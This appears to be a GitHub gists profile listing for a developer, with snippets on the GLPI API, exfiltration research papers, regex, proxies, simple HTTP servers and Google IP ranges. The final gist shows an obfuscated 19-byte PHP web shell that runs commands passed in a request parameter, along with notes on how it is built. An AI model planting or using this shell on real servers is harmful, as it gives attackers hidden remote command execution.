Skip to content

Instantly share code, notes, and snippets.

View ricardomaia's full-sized avatar
:octocat:
/** No comments */

Ricardo Maia ricardomaia

:octocat:
/** No comments */
37 followers · 22 following
View GitHub Profile
@ricardomaia
ricardomaia / Ativar-API-Token.MD
Last active June 14, 2025 19:21
GLPI API

Para obter um token de API no GLPI, você precisa seguir os seguintes passos:

  1. Habilitar a API REST no GLPI Primeiro, verifique se a API REST está habilitada:

Faça login no GLPI como administrador

  • Vá para Configuração > Geral > APIs
  • Certifique-se de que a opção "Habilitar API REST" esteja ativada
  1. Criar um token de API para um usuário
@ricardomaia
ricardomaia / exfiltration.md
Last active February 27, 2025 20:34
Eavesdropping / Data exfiltration

Eavesdropping / Data exfiltration

My collection of eavesdropping / data exfiltration videos from air gapped computers.

Thermanator: Thermal Residue-Based Post Factum Attacks On Keyboard Password Entry

https://arxiv.org/pdf/1806.10189

@ricardomaia
ricardomaia / Search Operators.md
Last active September 25, 2024 06:01
Google Advanced Search - https://www.google.com/advanced_search
@ricardomaia
ricardomaia / Regex.MD
Last active March 18, 2024 13:28
Insert a new line each x lines

Insert a new line each x lines

Regex Find: ((?:.*\r?\n){4})

Regex Replace: $0\n

Remove all lines not containing 'word'

@ricardomaia
ricardomaia / update_proxies.sh
Created March 9, 2024 01:14
Creating a file with a list of proxies
#!/usr/bin/env bash
# Download proxies list
curl -k https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/http.txt -o proxy_list.txt
sed -i -e 's/^/http:\/\//' proxy_list.t
@ricardomaia
ricardomaia / one_line_http_server.md
Created March 9, 2024 01:10
One line Python HTTP server 
python -m http.server 8080 --bind 0.0.0.0 --directory ./
@ricardomaia
ricardomaia / explorer.js
Created March 8, 2024 20:48
Expose current directory on web
const express = require('express');
const fs = require('fs');
const app = express();
const port = 3000;
app.get('/', (req, res) => {
fs.readdir('.', (err, files) => {
if (err) {
res.send('Erro ao ler diretório');
@ricardomaia
ricardomaia / services.md
Last active January 30, 2024 22:17
Developer Tools
@ricardomaia
ricardomaia / Google Network IP Ranges.md
Last active March 1, 2023 15:57
Download and transform the list of Google IP ranges from JSON to CSV

Download and transform the list of Google IP ranges from JSON to CSV using curl, jq and sed.

curl https://www.gstatic.com/ipranges/goog.json | \
jq -r '.prefixes[].ipv4Prefix, .prefixes[].ipv6Prefix |  select (. != null)' | sed 's/^\|$/"/g' | paste -sd, - \
&& curl https://www.gstatic.com/ipranges/cloud.json | \
jq -r '.prefixes[].ipv4Prefix, .prefixes[].ipv6Prefix | select (. != null)' | sed 's/^\|$/"/g'| paste -sd, - \
> google-ranges.csv
@ricardomaia
ricardomaia / rev_shell.php
Created January 31, 2023 17:06 — forked from terjanq/rev_shell.php
The shortest non-alphanumeric reverse shell script (19 bytes)
<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;
/*
* In terminal:
* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
* This is how the code will be produced, \xa0\xb8\xba\xab will be
* treated as constant therefore no " needed. It is also not copyable
* string because of non-ascii characters
*
* Explanation: